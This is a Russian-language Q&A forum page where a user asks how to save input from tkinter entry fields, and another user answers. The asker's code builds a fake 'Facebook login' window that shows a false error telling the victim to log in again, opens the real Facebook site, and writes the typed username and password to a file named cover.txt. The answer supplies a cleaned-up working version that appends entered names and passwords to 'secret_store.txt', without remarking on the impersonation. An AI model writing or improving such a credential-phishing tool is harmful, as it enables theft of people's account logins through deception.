Как сохранить данные, введенные из виджета ввода в tkinter python - PullRequest
0 голосов
/ 17 мая 2018

Я написал код и хочу сохранить введенные данные, но он показывает ошибку

from tkinter import*
from tkinter import messagebox
import webbrowser
win= Tk()
win.title("Facebook login")
lbl=Label(win, text="Please enter your login and password")
lbl.grid(column=5,row=3)
uid=Entry(win,width=30)
pas=Entry(win,width=30)
uid.grid(column=3,row=6)
pas.grid(column=3,row=9)
def click():
messagebox.showinfo('Error ','The following data could not be transferred 
\nPlease login again from the page opening now')
def kill():
    win.destroy()
button1=Button(win,text="Login",command=click)

button1.grid(column=7,row=11)

win.mainloop()

webbrowser.open('https://www.facebook.com/')
id=uid.get()
ps=pas.get()
file=open('D:\\cover.txt','w+')
file.write("username:\t"+win)
file.write("password:\t"+id)

Как преобразовать tk () в строку или любой другой тип данных, чтобы я мог сохранить его Спасибо

1 Ответ

0 голосов
/ 17 мая 2018

Вот упрощенный пример для хранения данных в файле (данные добавляются в конец файла)

import tkinter as tk


def save_to_file(filename, name='', pw=''):
    with open(filename, 'a') as f:   # 'a' to append to the file, 'r' to overwrite the file
        f.write(name + ', ')
        f.write(pw + '\n')


def login():
    name = uid.get()
    pw = pas.get()
    print('logging in as {uid}, {pw}')
    save_to_file('secret_store.txt', name=name, pw=pw)


if __name__ == '__main__':

    win = tk.Tk()
    win.title("Facebook login")

    lbl = tk.Label(win, text="Please enter your login and password")
    lbl.grid(column=5,row=3)

    uid = tk.Entry(win, width=30)
    pas = tk.Entry(win,width=30)
    uid.grid(column=3,row=6)
    pas.grid(column=3,row=9)

    button1 = tk.Button(win, text="Login", command=login)

    button1.grid(column=7, row=11)

    win.mainloop()
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...